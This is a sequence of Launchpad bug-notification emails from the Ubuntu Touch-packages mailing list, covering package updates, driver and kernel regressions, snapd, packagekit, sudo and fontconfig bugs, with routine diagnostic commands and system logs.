ubuntu-advantage-tools package in Ubuntu: Fix Released Status in ubuntu-meta package in Ubuntu: Fix Released Status in ubuntu-advantage-tools source package in Precise: Fix Released Status in ubuntu-meta source package in Precise: Fix Released Status in ubuntu-advantage-tools source package in Trusty: Fix Released Status in ubuntu-meta source package in Trusty: Fix Committed Status in ubuntu-advantage-tools source package in Xenial: Fix Released Status in ubuntu-meta source package in Xenial: Fix Committed Status in ubuntu-advantage-tools source package in Yakkety: Won't Fix Status in ubuntu-meta source package in Yakkety: Won't Fix Status in ubuntu-advantage-tools source package in Zesty: Fix Released Status in ubuntu-meta source package in Zesty: Won't Fix Status in ubuntu-advantage-tools source package in Artful: Fix Released Status in ubuntu-meta source package in Artful: Fix Released Bug description: The ubuntu-advantage-tools package is a bit odd as it was first landed in precise to support the ESM effort inside canonical. [0] In order to bring this package up to date across other series in ubuntu, it has been recommended by the Ubuntu Foundations team to land into trusty next, then forward-port pocket-copy to all supported series until we get to the devel release. The version here: https://github.com/CanonicalLtd/ubuntu-advantage- script/releases/tag/v2 ... has all on-disk bits correctly working, for all series, but no-ops on any release other than precise (ESM is only for "unsupported" LTS releases as it were). This is a request to land ubuntu-advantage- tools into trusty, then pocket-copy it to supported series of ubuntu once that is finished. [Impact] * Allow ubuntu-advantage users to access the extended security maintenance script with a simple command line tool. This script needs to hit precise machines and be easy for ubuntu-advantage customers to enable, thus basefiles was chosen as a home. [Test Case] * Run ubuntu-advantage, it should print out help * Run sudo ubuntu-advantage enable (without sudo it will warn you), but you need to be an ubuntu-advantage customer to get that token. In the end, the script simply adds and removes an /etc/apt/sources.list.d entry. * Verify that the MOTD does not contain any mention of ubuntu- advantage esm or precise and its end of life * Verify that ubuntu-advantage enable-esm installs needed dependencies: - create the following file and its contents to have apt not install recommended packages by default: $ cat /etc/apt/apt.conf.d/no-recommends APT::Install-Recommends "false"; - remove ca-certificates and apt-transport-https: $ sudo apt remove ca-certificates apt-transport-https - run sudo ubuntu-advantage enable-esm and verify that the two removed packages are reinstalled * you can contact me (d...@canonical.com) if you would like a token for test purposes. [Regression Potential] * Low, this is a new script, not included in any automated startup paths. [Other Info] * http://blog.dustinkirkland.com/2017/03/ubuntu-1204-esm.html [0] https://insights.ubuntu.com/2017/03/14/introducing-ubuntu-12-04 -esm-extended-security-maintenance/ To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ubuntu-advantage-tools/+bug/1686183/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscr
[Touch-packages] [Bug 1799613] Re: In kernel 4.14.59, monitor resolution is detected correctly. In kernels after that, they are not detected correctly.
This bug is missing log files that will aid in diagnosing the problem. While running an Ubuntu kernel (not a mainline or third-party kernel) please enter the following command in a terminal window: apport-collect -p xorg 1799613 and then change the status of the bug to 'Confirmed'. If, due to the nature of the issue you have encountered, you are unable to run this command, please add a comment stating that fact and change the bug status to 'Confirmed'. ** Changed in: xorg (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1799613 Title: In kernel 4.14.59, monitor resolution is detected correctly. In kernels after that, they are not detected correctly. Status in Linux: Unknown Status in linux package in Ubuntu: Confirmed Status in xorg package in Ubuntu: Incomplete Bug description: dpkg --list | grep linux-image ii linux-image-4.15.0-36-generic 4.15.0-36.39 amd64Signed kernel image generic ii linux-image-4.15.0-38-generic 4.15.0-38.41 amd64Signed kernel image generic ii linux-image-generic 4.15.0.38.40 amd64Generic Linux kernel image ii linux-image-unsigned-4.14.59-041459-generic 4.14.59-041459.201807280929 amd64Linux kernel image for version 4.14.59 on 64 bit x86 SMP Booting from GRUB into 4.14.59 allows my two monitors to run at their native resolution, 2560x1440. Any newer kernel does not allow my two monitors to run at their native resolution, only allowing up to 1920x1200. uname -a Linux blackbox 4.14.59-041459-generic #201807280929 SMP Sat Jul 28 09:32:10 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux To manage notifications about this bug go to: https://bugs.launchpad.net/linux/+bug/1799613/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1789924] Re: Missing Intel GPU pci-id's
This bug was fixed in the package xorg-server - 2:1.19.6-1ubuntu4.1 --- xorg-server (2:1.19.6-1ubuntu4.1) bionic; urgency=medium * prime-sync-refactor.diff: Fix crash on modesetting+amdgpu hybrid. (LP: #1789913) * sync-i965-pciids.diff: Update intel pci-id's. (LP: #1789924) -- Timo Aaltonen Wed, 05 Sep 2018 14:38:25 +0300 ** Changed in: xorg-server (Ubuntu Bionic) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to libdrm in Ubuntu. https://bugs.launchpad.net/bugs/1789924 Title: Missing Intel GPU pci-id's Status in libdrm package in Ubuntu: Fix Released Status in linux package in Ubuntu: Fix Released Status in mesa package in Ubuntu: New Status in xorg-server package in Ubuntu: Fix Released Status in libdrm source package in Bionic: New Status in linux source package in Bionic: Fix Released Status in mesa source package in Bionic: New Status in xorg-server source package in Bionic: Fix Released Bug description: [Impact] There are some new Intel GPU pci-id's that need to be added to several places: 0x3E98 0x87C0 and to make future additions easier, add platform definitions for Whiskey Lake and Amber Lake too. [Test case] Check that the user session uses the proper driver on these systems. [Regression potential] none, these just add pci-id's and platform definitions To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/libdrm/+bug/1789924/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799974] Re: [MIR] gupnp
** Description changed: * Availability - Builds on all supported architectures in Ubuntu and on sync from Debian + Builds on all supported architectures in Ubuntu and on sync from Debian, + the package was in main in the past and needs to be re-promoted * Rationale We would like to enable dlna sharing of media files, which is a GNOME upstream feature and relying on rygel which depends on the gupnp libraries * Security There is an old CVE recorded/fixed https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2174 * Quality assurance - the desktop-packages team is subscribed to the package - the bug lists in upstream, the Debian PTS and launchpad are empty - upstream has a testsuit which is used during build * Dependendies The package uses standard desktop libraries that are already in main * Standards compliance the package is using standard packaging (dh10), the standards-version is 4.2, the package is in sync from Debian * Maintainance Upstream is active and the desktop team is going to look after the package in ubuntu -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gupnp in Ubuntu. https://bugs.launchpad.net/bugs/1799974 Title: [MIR] gupnp Status in gupnp package in Ubuntu: New Bug description: * Availability Builds on all supported architectures in Ubuntu and on sync from Debian, the package was in main in the past and needs to be re- promoted * Rationale We would like to enable dlna sharing of media files, which is a GNOME upstream feature and relying on rygel which depends on the gupnp libraries * Security There is an old CVE recorded/fixed https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2174 * Quality assurance - the desktop-packages team is subscribed to the package - the bug lists in upstream, the Debian PTS and launchpad are empty - upstream has a testsuit which is used during build * Dependendies The package uses standard desktop libraries that are already in main * Standards compliance the package is using standard packaging (dh10), the standards-version is 4.2, the package is in sync from Debian * Maintainance Upstream is active and the desktop team is going to look after the package in ubuntu To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gupnp/+bug/1799974/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799913] Re: Unhandled lockdown error (-2) - iphone ios 12
** Package changed: ubuntu => libimobiledevice (Ubuntu) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to libimobiledevice in Ubuntu. https://bugs.launchpad.net/bugs/1799913 Title: Unhandled lockdown error (-2) - iphone ios 12 Status in libimobiledevice package in Ubuntu: New Bug description: Hi! On Ubuntu 18.10 when I connect my iPhone 8Plus with the computer and click on the Documents in the file manager, I got this error: Unhandled lockdown error (-2). I attached a screenshot about this error. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/libimobiledevice/+bug/1799913/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1794033] Re: i965: Failed to submit batchbuffer: Bad address
also happened with Linux: 4.15.0-34-generic #37-Ubuntu SMP Mon Aug 27 15:21:48 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to mesa in Ubuntu. https://bugs.launchpad.net/bugs/1794033 Title: i965: Failed to submit batchbuffer: Bad address Status in mesa package in Ubuntu: New Status in xserver-xorg-video-intel package in Fedora: Unknown Bug description: cpu: Intel® Core™ i5-7500 CPU @ 3.40GHz × 4 gpu: Intel® HD Graphics 630 (Kaby Lake GT2) 00:00.0 Host bridge: Intel Corporation Intel Kaby Lake Host Bridge (rev 05) 00:02.0 VGA compatible controller: Intel Corporation HD Graphics 630 (rev 04) 00:08.0 System peripheral: Intel Corporation Skylake Gaussian Mixture Model xserver-xorg-video-intel: Installed: 2:2.99.917+git20171229-1 Candidate: 2:2.99.917+git20171229-1 ubuntu: 18.04 LTS bionic gnome: 3.28.2 gdm3: Installed: 3.28.2-0ubuntu1.4 Candidate: 3.28.2-0ubuntu1.4 os type: 64 bit kernel: Linux eva1 4.15.0-30-generic #32-Ubuntu SMP Thu Jul 26 17:42:43 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux mesa-va-drivers: Installed: 18.0.5-0ubuntu0~18.04.1 Candidate: 18.0.5-0ubuntu0~18.04.1 from syslog: Sep 24 04:08:16 eva /usr/lib/gdm3/gdm-x-session[1170]: i965: Failed to submit batchbuffer: Bad address Sep 24 04:08:21 eva gnome-terminal-[2597]: gnome-terminal-server: Fatal IO error 11 (Resource temporarily unavailable) on X server :0. Sep 24 04:08:22 eva [2541]: update-notifier: Fatal IO error 11 (Resource temporarily unavailable) on X server :0. Sep 24 04:08:22 eva at-spi-bus-launcher[1274]: XIO: fatal IO error 11 (Resource temporarily unavailable) on X server ":0" - but (followed by pages upon pages of applications within gnome failing.) nothing in kern.log around that time. Singular gnome crash, taking down all applications running within it. Not yet reproduced. gdm successfully started a new session afterwards. Was definitely in a palermoon session on some website or other. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/1794033/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799693] Re: Stable libopus-1.3 released
** Tags added: upgrade-software-version -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to opus in Ubuntu. https://bugs.launchpad.net/bugs/1799693 Title: Stable libopus-1.3 released Status in opus package in Ubuntu: New Bug description: Cosmic is currently shipping libopus-1.3~beta+20180518-1 which is now outdated and technically marked as a beta. http://opus-codec.org/release/stable/2018/10/18/libopus-1_3.html To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/opus/+bug/1799693/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799998] [NEW] 20% of volume is like 0%
Public bug reported: There is no sound on my laptop when volume is set to 20% or less. Also, when I set it to 100%, its output is lower than on Windows. The problem occurs when using a headphone as well. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 Uname: Linux 4.15.0-36-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/pcmC0D0p: roinujnosde 1600 F...m pulseaudio /dev/snd/controlC0: roinujnosde 1600 F pulseaudio CurrentDesktop: ubuntu:GNOME Date: Thu Oct 25 13:33:21 2018 InstallationDate: Installed on 2018-10-09 (15 days ago) InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20180725) PackageArchitecture: all SourcePackage: alsa-driver Symptom: audio Symptom_Card: Áudio interno - HDA Intel PCH Symptom_Jack: Speaker, Internal Symptom_PulseAudioLog: out 25 08:30:58 edson-ideapad dbus-daemon[782]: [system] Activating via systemd: service name='org.freedesktop.RealtimeKit1' unit='rtkit-daemon.service' requested by ':1.27' (uid=121 pid=1007 comm="/usr/bin/pulseaudio --daemonize=no " label="unconfined") Symptom_Type: Volume slider, or mixer problems Title: [80YH, Realtek Generic, Speaker, Internal] volume slider problem UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 02/24/2018 dmi.bios.vendor: LENOVO dmi.bios.version: 4WCN39WW dmi.board.asset.tag: NO Asset Tag dmi.board.name: Cairo 5A dmi.board.vendor: LENOVO dmi.board.version: SDK0J40679 WIN dmi.chassis.asset.tag: NO Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Lenovo ideapad 320-15IKB dmi.modalias: dmi:bvnLENOVO:bvr4WCN39WW:bd02/24/2018:svnLENOVO:pn80YH:pvrLenovoideapad320-15IKB:rvnLENOVO:rnCairo5A:rvrSDK0J40679WIN:cvnLENOVO:ct10:cvrLenovoideapad320-15IKB: dmi.product.family: IDEAPAD dmi.product.name: 80YH dmi.product.version: Lenovo ideapad 320-15IKB dmi.sys.vendor: LENOVO ** Affects: alsa-driver (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug bionic -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/178 Title: 20% of volume is like 0% Status in alsa-driver package in Ubuntu: New Bug description: There is no sound on my laptop when volume is set to 20% or less. Also, when I set it to 100%, its output is lower than on Windows. The problem occurs when using a headphone as well. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 Uname: Linux 4.15.0-36-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/pcmC0D0p: roinujnosde 1600 F...m pulseaudio /dev/snd/controlC0: roinujnosde 1600 F pulseaudio CurrentDesktop: ubuntu:GNOME Date: Thu Oct 25 13:33:21 2018 InstallationDate: Installed on 2018-10-09 (15 days ago) InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20180725) PackageArchitecture: all SourcePackage: alsa-driver Symptom: audio Symptom_Card: Áudio interno - HDA Intel PCH Symptom_Jack: Speaker, Internal Symptom_PulseAudioLog: out 25 08:30:58 edson-ideapad dbus-daemon[782]: [system] Activating via systemd: service name='org.freedesktop.RealtimeKit1' unit='rtkit-daemon.service' requested by ':1.27' (uid=121 pid=1007 comm="/usr/bin/pulseaudio --daemonize=no " label="unconfined") Symptom_Type: Volume slider, or mixer problems Title: [80YH, Realtek Generic, Speaker, Internal] volume slider problem UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 02/24/2018 dmi.bios.vendor: LENOVO dmi.bios.version: 4WCN39WW dmi.board.asset.tag: NO Asset Tag dmi.board.name: Cairo 5A dmi.board.vendor: LENOVO dmi.board.version: SDK0J40679 WIN dmi.chassis.asset.tag: NO Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Lenovo ideapad 320-15IKB dmi.modalias: dmi:bvnLENOVO:bvr4WCN39WW:bd02/24/2018:svnLENOVO:pn80YH:pvrLenovoideapad320-15IKB:rvnLENOVO:rnCairo5A:rvrSDK0J40679WIN:cvnLENOVO:ct10:cvrLenovoideapad320-15IKB: dmi.product.family: IDEAPAD dmi.product.name: 80YH dmi.product.version: Lenovo ideapad 320-15IKB dmi.sys.vendor: LENOVO To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/178/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1767896] Re: Live images with broken seed causes snapd high CPU usage and periodic short GUI freezes
Yes, this is with the 18.10 final release. I'm unable to provide confirmation/diagnostics as the behavior is worse than with 18.04/04.1. With persistence enabled I can sometimes initially get to a desktop which has a moving mouse pointer but is unresponsive. It will at some point black-screen with a message about the Snappy daemon - which I wasn't able to capture. Subsequent attempts to boot will either hang on the Ubuntu splash indefinitely, or eventually flash a desktop immediately followed by a black screen with only a flashing cursor. I can exit that and initiate a shutdown with the three-fingered-salute. That brings a message about a stop job for the Snappy daemon, which also hangs for a very long time. Sorry I can't provide any further information. I'm handcuffed ... and frustrated as *bleep*. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu. https://bugs.launchpad.net/bugs/1767896 Title: Live images with broken seed causes snapd high CPU usage and periodic short GUI freezes Status in OEM Priority Project: Fix Released Status in snapd package in Ubuntu: New Status in ubuntu-meta package in Ubuntu: Fix Released Bug description: ThinkPad 25, UEFI mode, Ubuntu 18.04 installed as a _live_ distro in FAT32 partition on SATA SSD in WWAN slot. Grub options allow booting without persistence or with a 256MB persistence file. Only thing "persisted" is TERM in favorites. Without persistence all is well. With persistence snapd uses up to 90% CPU - perhaps more - and cripples the system. Fan runs nearly full speed constantly. I can eliminate the problem by removing snapd - and that persists. Can't kill snapd. PID is constantly changing. 0% fan and low CPU use at idle w/out snapd with persistence, or booted w/out persistence. WORKAROUND: sudo systemctl stop snapd To manage notifications about this bug go to: https://bugs.launchpad.net/oem-priority/+bug/1767896/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1790613] Re: Regression: packagekit crashes updating itself to a new version
Already in Cosmic https://launchpad.net/ubuntu/+source/packagekit/1.1.10-1ubuntu7 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to packagekit in Ubuntu. https://bugs.launchpad.net/bugs/1790613 Title: Regression: packagekit crashes updating itself to a new version Status in packagekit package in Ubuntu: Fix Released Status in plasma-discover package in Ubuntu: Confirmed Status in packagekit source package in Bionic: Fix Released Status in plasma-discover source package in Bionic: Confirmed Bug description: [Impact] Bionic: 18.04 Version: 1.1.9-1ubuntu2 upgrading itself to 1.1.9-1ubuntu2.18.04.1 Updating with pkcon upgrade or plasma-discover crashes packagekit mid transaction, requiring user intervention on the command line. In plasma-discover the gui reports the crash briefly, but then stalls in apparent mid update, requiring the user to force close it and again resolve the issue on the command line. Example transactions: $ pkcon update Getting updates [=] Finished [=] Loading cache [=] Testing changes [=] Finished [ ] (0%) The following packages have to be updated: gir1.2-packagekitglib-1.0-1.1.9-1ubuntu2.18.04.1.amd64 GObject introspection data for the PackageKit GLib library libpackagekit-glib2-18-1.1.9-1ubuntu2.18.04.1.amd64Library for accessing PackageKit using GLib packagekit-1.1.9-1ubuntu2.18.04.1.amd64Provides a package management service packagekit-tools-1.1.9-1ubuntu2.18.04.1.amd64 Provides PackageKit command-line tools Proceed with changes? [N/y] y [=] Updating packages [=] Waiting for authentication[=] Loading cache [=] Running [=] Installing packages [ ] (80%) The daemon crashed mid-transaction! $ sudo apt-get upgrade E: dpkg was interrupted, you must manually run 'sudo dpkg --configure -a' to correct the problem. and obviously after that doing anything meaningful with packagekit like installing a package fails $pkcon install kaffeine Resolving [=] Testing changes [=] Finished [ ] (0%) The following packages have to be installed: kaffeine-2.0.14-1.amd64versatile media player for KDE Proceed with changes? [N/y] y [=] Installing[=] Waiting for authentication[=] Waiting for package manager lock[=] Finished [=] Fatal error: E: dpkg was interrupted, you must manually run 'dpkg --configure -a' to correct the problem. [Test case] Upgrade packagekit using pkcon, make sure it does not "crash". [Regression potential] It could only lead to old packagekitd processes not restarting. packagekit will still be told to restart itself like before, the restart being added was unintended. --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 CurrentDesktop: KDE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-26 (69 days ago) InstallationMedia: Kubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: packagekit 1.1.9-1ubuntu2.18.04.1 PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.15.0-33.36-generic 4.15.18 Tags: bionic Uname: Linux 4.15.0-33-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/packagekit/+bug/1790613/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1767896] Re: Live images with broken seed causes snapd high CPU usage and periodic short GUI freezes
Hello, there is a difference between the live installer session where snaps are supported to a limited degree and the persistent image where they are not supported at all. I'm very sorry for the inconvenience. I don't know if it is feasible to disable snapd in that context (through the persistence layer). -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu. https://bugs.launchpad.net/bugs/1767896 Title: Live images with broken seed causes snapd high CPU usage and periodic short GUI freezes Status in OEM Priority Project: Fix Released Status in snapd package in Ubuntu: New Status in ubuntu-meta package in Ubuntu: Fix Released Bug description: ThinkPad 25, UEFI mode, Ubuntu 18.04 installed as a _live_ distro in FAT32 partition on SATA SSD in WWAN slot. Grub options allow booting without persistence or with a 256MB persistence file. Only thing "persisted" is TERM in favorites. Without persistence all is well. With persistence snapd uses up to 90% CPU - perhaps more - and cripples the system. Fan runs nearly full speed constantly. I can eliminate the problem by removing snapd - and that persists. Can't kill snapd. PID is constantly changing. 0% fan and low CPU use at idle w/out snapd with persistence, or booted w/out persistence. WORKAROUND: sudo systemctl stop snapd To manage notifications about this bug go to: https://bugs.launchpad.net/oem-priority/+bug/1767896/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799857] Re: sudo -p '' displays a password prompt which it shouldn't
I've unfortunately hit a wall investigating this :( sudo should only override the prompt if passprompt_override is set in sudoers, or the env variable SUDO_PROMPT is set, and neither is set in bionic. Furthermore, it's not an issue with the binary, as I've tried taking the bionic sudo and putting it in a cosmic machine, and it works perfectly, honoring -p '' like the cosmic version does. That leaves the environment somehow, but I've run out of leads. It does work properly in xenial and in cosmic, and the prompt seems to just be cosmetic anyway, so I'm marking this wontfix. ** Changed in: sudo (Ubuntu) Status: Confirmed => Won't Fix -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to sudo in Ubuntu. https://bugs.launchpad.net/bugs/1799857 Title: sudo -p '' displays a password prompt which it shouldn't Status in sudo package in Ubuntu: Won't Fix Bug description: I have small script that invokes another shell script as root thus: #!/bin/bash echo "mypass" | sudo -p '' -S /usr/StorMan/StorMan.sh when running in 16.04 LTS this didn't display a password prompt which I understand to be correct behaviour. Since upgrading to 18.04.1 LTS the output looks like: amonra@Charon:~$ ./storman [sudo] password for amonra: which as far as I can determine is not correct. Thanks Dave ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: sudo 1.8.21p2-3ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-38.41-generic 4.15.18 Uname: Linux 4.15.0-38-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 CurrentDesktop: LXDE Date: Thu Oct 25 03:07:27 2018 InstallationDate: Installed on 2016-03-28 (940 days ago) InstallationMedia: Ubuntu-Server 14.04.4 LTS "Trusty Tahr" - Release amd64 (20160217.1) SourcePackage: sudo UpgradeStatus: Upgraded to bionic on 2018-10-22 (2 days ago) VisudoCheck: /etc/sudoers: parsed OK /etc/sudoers.d/README: parsed OK modified.conffile..etc.sudoers: [inaccessible: [Errno 13] Permission denied: '/etc/sudoers'] modified.conffile..etc.sudoers.d.README: [inaccessible: [Errno 13] Permission denied: '/etc/sudoers.d/README'] To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/sudo/+bug/1799857/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1800003] [NEW] evince crashes in FcConfigParseAndLoad
Public bug reported:
I have the following situation persistently on my system (Ubuntu 18.04.1
on Dell Latitude E6500):
Evince called with any pdf file crashes immediately with a segmentation
fault. From the crash dump, I see that the crash happens in fontconfig's
FcConfigParseAndLoad function, i.e. when the system fonts.conf is read.
I can reproduce the crash with the following minimal example:
#include
const FcChar8* filename = "/home/mirkoh/fontconfig-test/fonts.conf";
FcConfig* config;
int main(){
FcConfigParseAndLoad(config, filename, FcTrue);
}
The fonts.conf file used here is also absolutely minimal:
(Get me right. It first happened with my system fonts.conf, which is not
empty. In order to find out whether a specific entry lead to the crash,
I deleted entry after entry, ultimately reaching the file above, and
always FcConfigParseAndLoad crashes.
I have no idea how to go on from here.
** Affects: fontconfig (Ubuntu)
Importance: Undecided
Status: New
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to fontconfig in Ubuntu.
https://bugs.launchpad.net/bugs/183
Title:
evince crashes in FcConfigParseAndLoad
Status in fontconfig package in Ubuntu:
New
Bug description:
I have the following situation persistently on my system (Ubuntu
18.04.1 on Dell Latitude E6500):
Evince called with any pdf file crashes immediately with a
segmentation fault. From the crash dump, I see that the crash happens
in fontconfig's FcConfigParseAndLoad function, i.e. when the system
fonts.conf is read. I can reproduce the crash with the following
minimal example:
#include
const FcChar8* filename = "/home/mirkoh/fontconfig-test/fonts.conf";
FcConfig* config;
int main(){
FcConfigParseAndLoad(config, filename, FcTrue);
}
The fonts.conf file used here is also absolutely minimal:
(Get me right. It first happened with my system fonts.conf, which is
not empty. In order to find out whether a specific entry lead to the
crash, I deleted entry after entry, ultimately reaching the file
above, and always FcConfigParseAndLoad crashes.
I have no idea how to go on from here.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/fontconfig/+bug/183/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1767896] Re: Live images with broken seed causes snapd high CPU usage and periodic short GUI freezes
So persistence is no longer possible? That's very disappointing :( Perhaps the option should be removed. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu. https://bugs.launchpad.net/bugs/1767896 Title: Live images with broken seed causes snapd high CPU usage and periodic short GUI freezes Status in OEM Priority Project: Fix Released Status in snapd package in Ubuntu: New Status in ubuntu-meta package in Ubuntu: Fix Released Bug description: ThinkPad 25, UEFI mode, Ubuntu 18.04 installed as a _live_ distro in FAT32 partition on SATA SSD in WWAN slot. Grub options allow booting without persistence or with a 256MB persistence file. Only thing "persisted" is TERM in favorites. Without persistence all is well. With persistence snapd uses up to 90% CPU - perhaps more - and cripples the system. Fan runs nearly full speed constantly. I can eliminate the problem by removing snapd - and that persists. Can't kill snapd. PID is constantly changing. 0% fan and low CPU use at idle w/out snapd with persistence, or booted w/out persistence. WORKAROUND: sudo systemctl stop snapd To manage notifications about this bug go to: https://bugs.launchpad.net/oem-priority/+bug/1767896/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1784347] Re: ISST-LTE: KVM:UBUNTU1804: BostonLC: fdisk -l shows the conflicting partitions name for the mpath
Hi Kyle, Can you help with verifying the that patch works as expected on 18.04? Thanks! -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to util-linux in Ubuntu. https://bugs.launchpad.net/bugs/1784347 Title: ISST-LTE: KVM:UBUNTU1804: BostonLC: fdisk -l shows the conflicting partitions name for the mpath Status in The Ubuntu-power-systems project: Fix Committed Status in util-linux package in Ubuntu: Fix Released Status in util-linux source package in Bionic: Fix Committed Bug description: [Impact] Any user of Ubuntu on multipath, where the default path separator has been changed to something else. This possibly affects other scenarios where the partition separator can be changed. [Test case] 1) Install Ubuntu on multipath system 2) Change /etc/multipath.conf to set "path_separator" to "" or "p". 3) Reboot 4) Run 'sudo fdisk -l /dev/mapper/mpathX', to display a device's partitions where the path separator would be visible. [Regression potential] Minimal. This only affects display. Default separator on Ubuntu remains "-part". If the separator is not one of "", "p", or "-part", then "-part" would be used, as is already the case. == Comment: #0 - Chanh H. Nguyen - 2018-01-09 11:14:07 == We have the Ubuntu1804 installed on our BostonLC system. Create a SAN via the Emulex adapter to have the mpath disk. Running the fdisk -l and ls -l showing the conflict name for the mpath. :~# uname -a Linux boslcp4 4.13.0-17-generic #20-Ubuntu SMP Mon Nov 6 10:03:08 UTC 2017 ppc64le ppc64le ppc64le GNU/Linux root@boslcp4:~# cat /etc/os-release NAME="Ubuntu" VERSION="18.04 